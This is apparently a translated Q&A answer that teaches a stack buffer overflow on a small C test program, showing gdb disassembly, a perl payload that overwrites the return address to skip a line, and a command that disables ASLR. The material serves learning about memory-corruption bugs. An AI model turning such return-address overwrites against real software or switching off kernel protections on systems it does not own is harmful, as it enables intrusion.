根据我的理解,您想要执行指令
x=1;
,然后跳过下一个printf,这样它只会打印
x is 0
。
没有办法做到这一点。
但是,可以让func()擦除自己的返回地址,这样代码就会直接跳转到
printf("\nx is 0\n\n");
。这也意味着跳过了
x=1;
。
这只有可能是因为您正在通过命令行向func()发送任何数据,并直接复制到固定大小的缓冲区。如果您要复制的字符串比分配的缓冲区大,您可能会破坏堆栈,并潜在地覆盖函数的返回地址。
有很多关于这个主题的好书,比如
这本书,我建议你去读一下。
在上加载您的应用程序并反汇编主函数,您将看到类似于以下内容的东西:
(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>: lea 0x4(%esp),%ecx
0x08048412 <main+4>: and $0xfffffff0,%esp
0x08048415 <main+7>: pushl -0x4(%ecx)
0x08048418 <main+10>: push %ebp
0x08048419 <main+11>: mov %esp,%ebp
0x0804841b <main+13>: push %ecx
0x0804841c <main+14>: sub $0x24,%esp
0x0804841f <main+17>: movl $0x0,-0x8(%ebp)
0x08048426 <main+24>: mov 0x4(%ecx),%eax
0x08048429 <main+27>: add $0x4,%eax
0x0804842c <main+30>: mov (%eax),%eax
0x0804842e <main+32>: mov %eax,(%esp)
0x08048431 <main+35>: call 0x80483f4 <func> // obvious call to func
0x08048436 <main+40>: movl $0x1,-0x8(%ebp) // x = 1
0x0804843d <main+47>: movl $0x8048520,(%esp) // pushing "x is 1" to the stack
0x08048444 <main+54>: call 0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>: movl $0x8048528,(%esp) // pushing "x is 0" to the stack
0x08048450 <main+66>: call 0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>: add $0x24,%esp
0x08048458 <main+74>: pop %ecx
0x08048459 <main+75>: pop %ebp
0x0804845a <main+76>: lea -0x4(%ecx),%esp
0x0804845d <main+79>: ret
End of assembler dump.
请注意,第二个printf调用的准备工作始于地址0x08048449
。为了覆盖func()
原始返回地址并使其跳转到0x08048449
,你需要在char buffer[24];
的容量范围之外写入数据。出于简化的目的,在本次测试中我使用了char buffer[6];
。
如果我在gdb中执行以下命令:
run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
这将成功地覆盖缓冲区,并用我想要跳转到的地址替换返回地址:
Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
x is 0
Program exited with code 011.
(gdb)
我不会逐步解释,因为其他人已经做得更好了,但如果你想直接从命令行复制这个行为,可以执行以下操作:
./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`
请记住,gdb 报告给您的内存地址可能与我得到的不同。
注意:为了使该技术起作用,您首先需要禁用内核保护。但只有在下面的命令报告的结果不为0时才需要这样做:
cat /proc/sys/kernel/randomize_va_space
要禁用它,您需要超级用户权限:
echo 0 > /proc/sys/kernel/randomize_va_space
strcpy(buffer,str);
。 - karlphillip